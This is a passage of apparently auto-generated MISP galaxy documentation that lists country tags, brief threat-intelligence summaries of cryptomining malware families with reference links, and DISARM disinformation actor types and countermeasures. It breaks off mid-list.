The tag is: *misp-galaxy:country="american samoa"*

austria

Austria

The tag is: *misp-galaxy:country="austria"*

australia

Australia

The tag is: *misp-galaxy:country="australia"*

aruba

Aruba

The tag is: *misp-galaxy:country="aruba"*

aland islands

Aland Islands

The tag is: *misp-galaxy:country="aland islands"*

azerbaijan

Azerbaijan

The tag is: *misp-galaxy:country="azerbaijan"*

bosnia and herzegovina

Bosnia and Herzegovina

The tag is: *misp-galaxy:country="bosnia and herzegovina"*

barbados

Barbados

The tag is: *misp-galaxy:country="barbados"*

bangladesh

Bangladesh

The tag is: *misp-galaxy:country="bangladesh"*

belgium

Belgium

The tag is: *misp-galaxy:country="belgium"*

burkina faso

Burkina Faso

The tag is: *misp-galaxy:country="burkina faso"*

bulgaria

Bulgaria

The tag is: *misp-galaxy:country="bulgaria"*

bahrain

Bahrain

The tag is: *misp-galaxy:country="bahrain"*

burundi

Burundi

The tag is: *misp-galaxy:country="burundi"*

benin

Benin

The tag is: *misp-galaxy:country="benin"*

saint barthelemy

Saint Barthelemy

The tag is: *misp-galaxy:country="saint barthelemy"*

bermuda

Bermuda

The tag is: *misp-galaxy:country="bermuda"*

brunei

Brunei

The tag is: *misp-galaxy:country="brunei"*

bolivia

Bolivia

The tag is: *misp-galaxy:country="bolivia"*

bonaire, saint eustatius and saba

Bonaire, Saint Eustatius and Saba

The tag is: *misp-galaxy:country="bonaire, saint eustatius and saba "*

brazil

Brazil

The tag is: *misp-galaxy:country="brazil"*

bahamas

Bahamas

The tag is: *misp-galaxy:country="bahamas"*

bhutan

Bhutan

The tag is: *misp-galaxy:country="bhutan"*

bouvet island

Bouvet Island

The tag is: *misp-galaxy:country="bouvet island"*

botswana

Botswana

The tag is: *misp-galaxy:country="botswana"*

belarus

Belarus

The tag is: *misp-galaxy:country="belarus"*

belize

Belize

The tag is: *misp-galaxy:country="belize"*

canada

Canada

The tag is: *misp-galaxy:country="canada"*

cocos islands

Cocos Islands

The tag is: *misp-galaxy:country="cocos islands"*

democratic republic of the congo

Democratic Republic of the Congo

The tag is: *misp-galaxy:country="democratic republic of the congo"*

central african republic

Central African Republic

The tag is: *misp-galaxy:country="central african republic"*

republic of the congo

Republic of the Congo

The tag is: *misp-galaxy:country="republic of the congo"*

switzerland

Switzerland

The tag is: *misp-galaxy:country="switzerland"*

ivory coast

Ivory Coast

The tag is: *misp-galaxy:country="ivory coast"*

cook islands

Cook Islands

The tag is: *misp-galaxy:country="cook islands"*

chile

Chile

The tag is: *misp-galaxy:country="chile"*

cameroon

Cameroon

The tag is: *misp-galaxy:country="cameroon"*

china

China

The tag is: *misp-galaxy:country="china"*

colombia

Colombia

The tag is: *misp-galaxy:country="colombia"*

costa rica

Costa Rica

The tag is: *misp-galaxy:country="costa rica"*

cuba

Cuba

The tag is: *misp-galaxy:country="cuba"*

cabo verde

Cabo Verde

The tag is: *misp-galaxy:country="cabo verde"*

curacao

Curacao

The tag is: *misp-galaxy:country="curacao"*

christmas island

Christmas Island

The tag is: *misp-galaxy:country="christmas island"*

cyprus

Cyprus

The tag is: *misp-galaxy:country="cyprus"*

czechia

Czechia

The tag is: *misp-galaxy:country="czechia"*

germany

Germany

The tag is: *misp-galaxy:country="germany"*

djibouti

Djibouti

The tag is: *misp-galaxy:country="djibouti"*

denmark

Denmark

The tag is: *misp-galaxy:country="denmark"*

dominica

Dominica

The tag is: *misp-galaxy:country="dominica"*

dominican republic

Dominican Republic

The tag is: *misp-galaxy:country="dominican republic"*

algeria

Algeria

The tag is: *misp-galaxy:country="algeria"*

ecuador

Ecuador

The tag is: *misp-galaxy:country="ecuador"*

estonia

Estonia

The tag is: *misp-galaxy:country="estonia"*

egypt

Egypt

The tag is: *misp-galaxy:country="egypt"*

western sahara

Western Sahara

The tag is: *misp-galaxy:country="western sahara"*

eritrea

Eritrea

The tag is: *misp-galaxy:country="eritrea"*

spain

Spain

The tag is: *misp-galaxy:country="spain"*

ethiopia

Ethiopia

The tag is: *misp-galaxy:country="ethiopia"*

finland

Finland

The tag is: *misp-galaxy:country="finland"*

fiji

Fiji

The tag is: *misp-galaxy:country="fiji"*

falkland islands

Falkland Islands

The tag is: *misp-galaxy:country="falkland islands"*

micronesia

Micronesia

The tag is: *misp-galaxy:country="micronesia"*

faroe islands

Faroe Islands

The tag is: *misp-galaxy:country="faroe islands"*

france

France

The tag is: *misp-galaxy:country="france"*

gabon

Gabon

The tag is: *misp-galaxy:country="gabon"*

united kingdom

United Kingdom

The tag is: *misp-galaxy:country="united kingdom"*

grenada

Grenada

The tag is: *misp-galaxy:country="grenada"*

georgia

Georgia

The tag is: *misp-galaxy:country="georgia"*

french guiana

French Guiana

The tag is: *misp-galaxy:country="french guiana"*

guernsey

Guernsey

The tag is: *misp-galaxy:country="guernsey"*

ghana

Ghana

The tag is: *misp-galaxy:country="ghana"*

gibraltar

Gibraltar

The tag is: *misp-galaxy:country="gibraltar"*

greenland

Greenland

The tag is: *misp-galaxy:country="greenland"*

gambia

Gambia

The tag is: *misp-galaxy:country="gambia"*

guinea

Guinea

The tag is: *misp-galaxy:country="guinea"*

guadeloupe

Guadeloupe

The tag is: *misp-galaxy:country="guadeloupe"*

equatorial guinea

Equatorial Guinea

The tag is: *misp-galaxy:country="equatorial guinea"*

greece

Greece

The tag is: *misp-galaxy:country="greece"*

south georgia and the south sandwich islands

South Georgia and the South Sandwich Islands

The tag is: *misp-galaxy:country="south georgia and the south sandwich islands"*

guatemala

Guatemala

The tag is: *misp-galaxy:country="guatemala"*

guam

Guam

The tag is: *misp-galaxy:country="guam"*

guinea-bissau

Guinea-Bissau

The tag is: *misp-galaxy:country="guinea-bissau"*

guyana

Guyana

The tag is: *misp-galaxy:country="guyana"*

hong kong

Hong Kong

The tag is: *misp-galaxy:country="hong kong"*

heard island and mcdonald islands

Heard Island and McDonald Islands

The tag is: *misp-galaxy:country="heard island and mcdonald islands"*

honduras

Honduras

The tag is: *misp-galaxy:country="honduras"*

croatia

Croatia

The tag is: *misp-galaxy:country="croatia"*

haiti

Haiti

The tag is: *misp-galaxy:country="haiti"*

hungary

Hungary

The tag is: *misp-galaxy:country="hungary"*

indonesia

Indonesia

The tag is: *misp-galaxy:country="indonesia"*

ireland

Ireland

The tag is: *misp-galaxy:country="ireland"*

israel

Israel

The tag is: *misp-galaxy:country="israel"*

isle of man

Isle of Man

The tag is: *misp-galaxy:country="isle of man"*

india

India

The tag is: *misp-galaxy:country="india"*

british indian ocean territory

British Indian Ocean Territory

The tag is: *misp-galaxy:country="british indian ocean territory"*

iraq

Iraq

The tag is: *misp-galaxy:country="iraq"*

iran

Iran

The tag is: *misp-galaxy:country="iran"*

iceland

Iceland

The tag is: *misp-galaxy:country="iceland"*

italy

Italy

The tag is: *misp-galaxy:country="italy"*

jersey

Jersey

The tag is: *misp-galaxy:country="jersey"*

jamaica

Jamaica

The tag is: *misp-galaxy:country="jamaica"*

jordan

Jordan

The tag is: *misp-galaxy:country="jordan"*

japan

Japan

The tag is: *misp-galaxy:country="japan"*

kenya

Kenya

The tag is: *misp-galaxy:country="kenya"*

kyrgyzstan

Kyrgyzstan

The tag is: *misp-galaxy:country="kyrgyzstan"*

cambodia

Cambodia

The tag is: *misp-galaxy:country="cambodia"*

kiribati

Kiribati

The tag is: *misp-galaxy:country="kiribati"*

comoros

Comoros

The tag is: *misp-galaxy:country="comoros"*

saint kitts and nevis

Saint Kitts and Nevis

The tag is: *misp-galaxy:country="saint kitts and nevis"*

north korea

North Korea

The tag is: *misp-galaxy:country="north korea"*

south korea

South Korea

The tag is: *misp-galaxy:country="south korea"*

kosovo

Kosovo

The tag is: *misp-galaxy:country="kosovo"*

kuwait

Kuwait

The tag is: *misp-galaxy:country="kuwait"*

cayman islands

Cayman Islands

The tag is: *misp-galaxy:country="cayman islands"*

kazakhstan

Kazakhstan

The tag is: *misp-galaxy:country="kazakhstan"*

laos

Laos

The tag is: *misp-galaxy:country="laos"*

lebanon

Lebanon

The tag is: *misp-galaxy:country="lebanon"*

saint lucia

Saint Lucia

The tag is: *misp-galaxy:country="saint lucia"*

liechtenstein

Liechtenstein

The tag is: *misp-galaxy:country="liechtenstein"*

sri lanka

Sri Lanka

The tag is: *misp-galaxy:country="sri lanka"*

liberia

Liberia

The tag is: *misp-galaxy:country="liberia"*

lesotho

Lesotho

The tag is: *misp-galaxy:country="lesotho"*

lithuania

Lithuania

The tag is: *misp-galaxy:country="lithuania"*

luxembourg

Luxembourg

The tag is: *misp-galaxy:country="luxembourg"*

latvia

Latvia

The tag is: *misp-galaxy:country="latvia"*

libya

Libya

The tag is: *misp-galaxy:country="libya"*

morocco

Morocco

The tag is: *misp-galaxy:country="morocco"*

monaco

Monaco

The tag is: *misp-galaxy:country="monaco"*

moldova

Moldova

The tag is: *misp-galaxy:country="moldova"*

montenegro

Montenegro

The tag is: *misp-galaxy:country="montenegro"*

saint martin

Saint Martin

The tag is: *misp-galaxy:country="saint martin"*

madagascar

Madagascar

The tag is: *misp-galaxy:country="madagascar"*

marshall islands

Marshall Islands

The tag is: *misp-galaxy:country="marshall islands"*

north macedonia

North Macedonia

The tag is: *misp-galaxy:country="north macedonia"*

mali

Mali

The tag is: *misp-galaxy:country="mali"*

myanmar

Myanmar

The tag is: *misp-galaxy:country="myanmar"*

mongolia

Mongolia

The tag is: *misp-galaxy:country="mongolia"*

macao

Macao

The tag is: *misp-galaxy:country="macao"*

northern mariana islands

Northern Mariana Islands

The tag is: *misp-galaxy:country="northern mariana islands"*

martinique

Martinique

The tag is: *misp-galaxy:country="martinique"*

mauritania

Mauritania

The tag is: *misp-galaxy:country="mauritania"*

montserrat

Montserrat

The tag is: *misp-galaxy:country="montserrat"*

malta

Malta

The tag is: *misp-galaxy:country="malta"*

mauritius

Mauritius

The tag is: *misp-galaxy:country="mauritius"*

maldives

Maldives

The tag is: *misp-galaxy:country="maldives"*

malawi

Malawi

The tag is: *misp-galaxy:country="malawi"*

mexico

Mexico

The tag is: *misp-galaxy:country="mexico"*

malaysia

Malaysia

The tag is: *misp-galaxy:country="malaysia"*

mozambique

Mozambique

The tag is: *misp-galaxy:country="mozambique"*

namibia

Namibia

The tag is: *misp-galaxy:country="namibia"*

new caledonia

New Caledonia

The tag is: *misp-galaxy:country="new caledonia"*

niger

Niger

The tag is: *misp-galaxy:country="niger"*

norfolk island

Norfolk Island

The tag is: *misp-galaxy:country="norfolk island"*

nigeria

Nigeria

The tag is: *misp-galaxy:country="nigeria"*

nicaragua

Nicaragua

The tag is: *misp-galaxy:country="nicaragua"*

netherlands

Netherlands

The tag is: *misp-galaxy:country="netherlands"*

norway

Norway

The tag is: *misp-galaxy:country="norway"*

nepal

Nepal

The tag is: *misp-galaxy:country="nepal"*

nauru

Nauru

The tag is: *misp-galaxy:country="nauru"*

niue

Niue

The tag is: *misp-galaxy:country="niue"*

new zealand

New Zealand

The tag is: *misp-galaxy:country="new zealand"*

oman

Oman

The tag is: *misp-galaxy:country="oman"*

panama

Panama

The tag is: *misp-galaxy:country="panama"*

peru

Peru

The tag is: *misp-galaxy:country="peru"*

french polynesia

French Polynesia

The tag is: *misp-galaxy:country="french polynesia"*

papua new guinea

Papua New Guinea

The tag is: *misp-galaxy:country="papua new guinea"*

philippines

Philippines

The tag is: *misp-galaxy:country="philippines"*

pakistan

Pakistan

The tag is: *misp-galaxy:country="pakistan"*

poland

Poland

The tag is: *misp-galaxy:country="poland"*

saint pierre and miquelon

Saint Pierre and Miquelon

The tag is: *misp-galaxy:country="saint pierre and miquelon"*

pitcairn

Pitcairn

The tag is: *misp-galaxy:country="pitcairn"*

puerto rico

Puerto Rico

The tag is: *misp-galaxy:country="puerto rico"*

palestinian territory

Palestinian Territory

The tag is: *misp-galaxy:country="palestinian territory"*

portugal

Portugal

The tag is: *misp-galaxy:country="portugal"*

palau

Palau

The tag is: *misp-galaxy:country="palau"*

paraguay

Paraguay

The tag is: *misp-galaxy:country="paraguay"*

qatar

Qatar

The tag is: *misp-galaxy:country="qatar"*

reunion

Reunion

The tag is: *misp-galaxy:country="reunion"*

romania

Romania

The tag is: *misp-galaxy:country="romania"*

serbia

Serbia

The tag is: *misp-galaxy:country="serbia"*

russia

Russia

The tag is: *misp-galaxy:country="russia"*

rwanda

Rwanda

The tag is: *misp-galaxy:country="rwanda"*

saudi arabia

Saudi Arabia

The tag is: *misp-galaxy:country="saudi arabia"*

solomon islands

Solomon Islands

The tag is: *misp-galaxy:country="solomon islands"*

seychelles

Seychelles

The tag is: *misp-galaxy:country="seychelles"*

sudan

Sudan

The tag is: *misp-galaxy:country="sudan"*

south sudan

South Sudan

The tag is: *misp-galaxy:country="south sudan"*

sweden

Sweden

The tag is: *misp-galaxy:country="sweden"*

singapore

Singapore

The tag is: *misp-galaxy:country="singapore"*

saint helena

Saint Helena

The tag is: *misp-galaxy:country="saint helena"*

slovenia

Slovenia

The tag is: *misp-galaxy:country="slovenia"*

svalbard and jan mayen

Svalbard and Jan Mayen

The tag is: *misp-galaxy:country="svalbard and jan mayen"*

slovakia

Slovakia

The tag is: *misp-galaxy:country="slovakia"*

sierra leone

Sierra Leone

The tag is: *misp-galaxy:country="sierra leone"*

san marino

San Marino

The tag is: *misp-galaxy:country="san marino"*

senegal

Senegal

The tag is: *misp-galaxy:country="senegal"*

somalia

Somalia

The tag is: *misp-galaxy:country="somalia"*

suriname

Suriname

The tag is: *misp-galaxy:country="suriname"*

sao tome and principe

Sao Tome and Principe

The tag is: *misp-galaxy:country="sao tome and principe"*

el salvador

El Salvador

The tag is: *misp-galaxy:country="el salvador"*

sint maarten

Sint Maarten

The tag is: *misp-galaxy:country="sint maarten"*

syria

Syria

The tag is: *misp-galaxy:country="syria"*

eswatini

Eswatini

The tag is: *misp-galaxy:country="eswatini"*

turks and caicos islands

Turks and Caicos Islands

The tag is: *misp-galaxy:country="turks and caicos islands"*

chad

Chad

The tag is: *misp-galaxy:country="chad"*

french southern territories

French Southern Territories

The tag is: *misp-galaxy:country="french southern territories"*

togo

Togo

The tag is: *misp-galaxy:country="togo"*

thailand

Thailand

The tag is: *misp-galaxy:country="thailand"*

tajikistan

Tajikistan

The tag is: *misp-galaxy:country="tajikistan"*

tokelau

Tokelau

The tag is: *misp-galaxy:country="tokelau"*

timor leste

Timor Leste

The tag is: *misp-galaxy:country="timor leste"*

turkmenistan

Turkmenistan

The tag is: *misp-galaxy:country="turkmenistan"*

tunisia

Tunisia

The tag is: *misp-galaxy:country="tunisia"*

tonga

Tonga

The tag is: *misp-galaxy:country="tonga"*

turkey

Turkey

The tag is: *misp-galaxy:country="turkey"*

trinidad and tobago

Trinidad and Tobago

The tag is: *misp-galaxy:country="trinidad and tobago"*

tuvalu

Tuvalu

The tag is: *misp-galaxy:country="tuvalu"*

taiwan

Taiwan

The tag is: *misp-galaxy:country="taiwan"*

tanzania

Tanzania

The tag is: *misp-galaxy:country="tanzania"*

ukraine

Ukraine

The tag is: *misp-galaxy:country="ukraine"*

uganda

Uganda

The tag is: *misp-galaxy:country="uganda"*

united states minor outlying islands

United States Minor Outlying Islands

The tag is: *misp-galaxy:country="united states minor outlying islands"*

united states of america

United States of America

The tag is: *misp-galaxy:country="united states of america"*

uruguay

Uruguay

The tag is: *misp-galaxy:country="uruguay"*

uzbekistan

Uzbekistan

The tag is: *misp-galaxy:country="uzbekistan"*

vatican

Vatican

The tag is: *misp-galaxy:country="vatican"*

saint vincent and the grenadines

Saint Vincent and the Grenadines

The tag is: *misp-galaxy:country="saint vincent and the grenadines"*

venezuela

Venezuela

The tag is: *misp-galaxy:country="venezuela"*

british virgin islands

British Virgin Islands

The tag is: *misp-galaxy:country="british virgin islands"*

u.s. virgin islands

U.S. Virgin Islands

The tag is: *misp-galaxy:country="u.s. virgin islands"*

vietnam

Vietnam

The tag is: *misp-galaxy:country="vietnam"*

vanuatu

Vanuatu

The tag is: *misp-galaxy:country="vanuatu"*

wallis and futuna

Wallis and Futuna

The tag is: *misp-galaxy:country="wallis and futuna"*

samoa

Samoa

The tag is: *misp-galaxy:country="samoa"*

yemen

Yemen

The tag is: *misp-galaxy:country="yemen"*

mayotte

Mayotte

The tag is: *misp-galaxy:country="mayotte"*

south africa

South Africa

The tag is: *misp-galaxy:country="south africa"*

zambia

Zambia

The tag is: *misp-galaxy:country="zambia"*

zimbabwe

Zimbabwe

The tag is: *misp-galaxy:country="zimbabwe"*

serbia and montenegro

Serbia and Montenegro

The tag is: *misp-galaxy:country="serbia and montenegro"*

netherlands antilles

Netherlands Antilles

The tag is: *misp-galaxy:country="netherlands antilles"*

Cryptominers

A list of cryptominer and cryptojacker malware..

Cryptominers is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Cisco Talos - raw-data

Lemon Duck

The infection starts with a PowerShell loading script, which is copied from other infected systems via SMB, email or external USB drives. The actor also employs several exploits for vulnerabilities such as SMBGhost and Eternal Blue.

The tag is: *misp-galaxy:cryptominers="Lemon Duck"*

Lemon Duck is also known as:

Table 993. Table References

Links
https://blog.talosintelligence.com/2020/10/lemon-duck-brings-cryptocurrency-miners.html
https://success.trendmicro.com/solution/000261916
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/spam/3697/spammers-use-covid19-to-spread-lemon-duck-cryptominer

https://cyberflorida.org/threat-advisory/lemon-duck-cryptominer/

WannaMine

WannaMine is a cryptojacker that takes advantage of EternalBlue.

The tag is: *misp-galaxy:cryptominers="WannaMine"*

WannaMine is also known as:

Table 994. Table References

Links
https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/?utm_campaign=dsa&utm_content=us&utm_medium=sem&utm_source=goog&utm_term=&gclid=EAIaIQobChMIjrayysrX7AIVFUWGCh3sQApKEAAYASAAEgIE6_D_BwE
https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/
https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry

Blue Mockingbird Cryptominer

Blue Mockingbird Crypto miner is a crypto-mining payload within DLLs on Windows Systems.

The tag is: *misp-galaxy:cryptominers="Blue Mockingbird Cryptominer"*

Table 995. Table References

Links
https://redcanary.com/blog/blue-mockingbird-cryptominer/

Krane

The Krane malware uses SSH brute-force techniques to drop the XMRig cryptominer on the target to mine for the Hashvault pool.

The tag is: *misp-galaxy:cryptominers="Krane"*

Table 996. Table References

Links
https://cujo.com/threat-alert-krane-malware/

Hezb

“Hezb”, which is based on command line artifact data, was observed around Kinsing. This malware

is relatively new and was recently reported in late May exploiting WSO2 RCE (CVE-2022-29464) in the wild. Several malware components were observed, the first of which was an XMRig miner installed as “Hezb”. Additional modules included a polkit exploit for privilege escalation as well as a zero-detection ELF payload named “kik”.

The tag is: *misp-galaxy:cryptominers="Hezb"*

Table 997. Table References

Links
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/

Actor Types

DISARM is a framework designed for describing and understanding disinformation incidents..

Actor Types is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

DISARM Project

data scientist

Person who can wrangle data, implement machine learning algorithms etc

The tag is: *misp-galaxy:disarm-actortypes="data scientist"*

Table 998. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A001.md

target

Person being targeted by disinformation campaign

The tag is: *misp-galaxy:disarm-actortypes="target"*

Table 999. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A002.md

trusted authority

Influencer

The tag is: *misp-galaxy:disarm-actortypes="trusted authority"*

Table 1000. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A003.md

activist

The tag is: *misp-galaxy:disarm-actortypes="activist"*

Table 1001. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A004.md

community group

The tag is: *misp-galaxy:disarm-actortypes="community group"*

Table 1002. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A005.md

educator

The tag is: *misp-galaxy:disarm-actortypes="educator"*

Table 1003. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A006.md

factchecker

Someone with the skills to verify whether information posted is factual

The tag is: *misp-galaxy:disarm-actortypes="factchecker"*

Table 1004. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A007.md

library

The tag is: *misp-galaxy:disarm-actortypes="library"*

Table 1005. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A008.md

NGO

The tag is: *misp-galaxy:disarm-actortypes="NGO"*

Table 1006. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A009.md

religious organisation

The tag is: *misp-galaxy:disarm-actortypes="religious organisation"*

Table 1007. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A010.md

school

The tag is: *misp-galaxy:disarm-actortypes="school"*

Table 1008. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A011.md

account owner

Anyone who owns an account online

The tag is: *misp-galaxy:disarm-actortypes="account owner"*

Table 1009. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A012.md

content creator

The tag is: *misp-galaxy:disarm-actortypes="content creator"*

Table 1010. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A013.md

elves

The tag is: *misp-galaxy:disarm-actortypes="elves"*

Table 1011. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A014.md

general public

The tag is: *misp-galaxy:disarm-actortypes="general public"*

Table 1012. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A015.md

influencer

The tag is: *misp-galaxy:disarm-actortypes="influencer"*

Table 1013. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A016.md

coordinating body

For example the DHS

The tag is: *misp-galaxy:disarm-actortypes="coordinating body"*

Table 1014. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A017.md

government

Government agencies

The tag is: *misp-galaxy:disarm-actortypes="government"*

Table 1015. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A018.md

military

The tag is: *misp-galaxy:disarm-actortypes="military"*

Table 1016. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A019.md

policy maker

The tag is: *misp-galaxy:disarm-actortypes="policy maker"*

Table 1017. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A020.md

media organisation

The tag is: *misp-galaxy:disarm-actortypes="media organisation"*

Table 1018. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A021.md

company

The tag is: *misp-galaxy:disarm-actortypes="company"*

Table 1019. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A022.md

adtech provider

The tag is: *misp-galaxy:disarm-actortypes="adtech provider"*

Table 1020. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A023.md

developer

The tag is: *misp-galaxy:disarm-actortypes="developer"*

Table 1021. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A024.md

funding_site_admin

Funding site admin

The tag is: *misp-galaxy:disarm-actortypes="funding_site_admin"*

Table 1022. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A025.md

games designer

The tag is: *misp-galaxy:disarm-actortypes="games designer"*

Table 1023. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A026.md

information security

The tag is: *misp-galaxy:disarm-actortypes="information security"*

Table 1024. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A027.md

platform administrator

The tag is: *misp-galaxy:disarm-actortypes="platform administrator"*

Table 1025. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A028.md

server admininistrator

The tag is: *misp-galaxy:disarm-actortypes="server admininistrator"*

Table 1026. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A029.md

platforms

The tag is: *misp-galaxy:disarm-actortypes="platforms"*

Table 1027. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A030.md

social media platform adminstrator

Person with the authority to make changes to algorithms, take down content etc.

The tag is: *misp-galaxy:disarm-actortypes="social media platform adminstrator"*

Table 1028. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A031.md

social media platform outreach

The tag is: *misp-galaxy:disarm-actortypes="social media platform outreach"*

Table 1029. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A032.md

social media platform owner

Person with authority to make changes to a social media company's business model

The tag is: *misp-galaxy:disarm-actortypes="social media platform owner"*

Table 1030. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A033.md

Countermeasures

DISARM is a framework designed for describing and understanding disinformation incidents..

Countermeasures is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

DISARM Project

Charge for social media

Include a paid-for privacy option, e.g. pay Facebook for an option of them not collecting your personal information. There are examples of this not working, e.g. most people don't use proton mail etc.

The tag is: *misp-galaxy:disarm-countermeasures="Charge for social media"*

Table 1031. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00006.md

Create shared fact-checking database

Share fact-checking resources - tips, responses, countermessages, across respose groups.

The tag is: *misp-galaxy:disarm-countermeasures="Create shared fact-checking database"*

Table 1032. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00008.md

Educate high profile influencers on best practices

Find online influencers. Provide training in the mechanisms of disinformation, how to spot campaigns, and/or how to contribute to responses by countermessaging, boosting information sites etc.

The tag is: *misp-galaxy:disarm-countermeasures="Educate high profile influencers on best practices"*

Table 1033. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00009.md

Enhanced privacy regulation for social media

Implement stronger privacy standards, to reduce the ability to microtarget community members.

The tag is: *misp-galaxy:disarm-countermeasures="Enhanced privacy regulation for social media"*

Table 1034. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00010.md

Media literacy. Games to identify fake news

Create and use games to show people the mechanics of disinformation, and how to counter them.

The tag is: *misp-galaxy:disarm-countermeasures="Media literacy. Games to identify fake news"*

Table 1035. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00011.md

Platform regulation

Empower existing regulators to govern social media. Also covers Destroy. Includes: Include the role of social media in the regulatory framework for media. The U.S. approach will need to be carefully crafted to protect First Amendment principles, create needed transparency, ensure liability, and impose costs for noncompliance. Includes Create policy that makes social media police disinformation. Includes: Use fraud legislation to clean up social media

The tag is: *misp-galaxy:disarm-countermeasures="Platform regulation"*

Table 1036. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00012.md

Rating framework for news

This is "strategic innoculation", raising the standards of what people expect in terms of evidence when consuming news. Example: journalistic ethics, or journalistic licencing body. Include full transcripts, link source, add items.

The tag is: *misp-galaxy:disarm-countermeasures="Rating framework for news"*

Table 1037. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00013.md

Real-time updates to fact-checking database

Update fact-checking databases and resources in real time. Especially import for time-limited events like natural disasters.

The tag is: *misp-galaxy:disarm-countermeasures="Real-time updates to fact-checking database"*

Table 1038. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00014.md

Censorship

Alter and/or block the publication/dissemination of information controlled by disinformation creators. Not recommended.

The tag is: *misp-galaxy:disarm-countermeasures="Censorship"*

Table 1039. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00016.md

Repair broken social connections

For example, use a media campaign to promote in-group to out-group in person communication / activities . Technique could be in terms of forcing a reality-check by talking to people instead of reading about bogeymen.

The tag is: *misp-galaxy:disarm-countermeasures="Repair broken social connections"*

Table 1040. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00017.md

Reduce effect of division-enablers

includes Promote constructive communication by shaming division-enablers, and Promote playbooks to call out division-enablers

The tag is: *misp-galaxy:disarm-countermeasures="Reduce effect of division-enablers"*

Table 1041. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00019.md

Encourage in-person communication

Encourage offline communication

The tag is: *misp-galaxy:disarm-countermeasures="Encourage in-person communication"*

Table 1042. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00021.md

Innoculate. Positive campaign to promote feeling of safety

Used to counter ability based and fear based attacks

The tag is: *misp-galaxy:disarm-countermeasures="Innoculate. Positive campaign to promote feeling of safety"*

Table 1043. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00022.md

Promote healthy narratives

Includes promoting constructive narratives i.e. not polarising (e.g. pro-life, pro-choice, pro-USA). Includes promoting identity neutral narratives.

The tag is: *misp-galaxy:disarm-countermeasures="Promote healthy narratives"*

Table 1044. Table References

Links
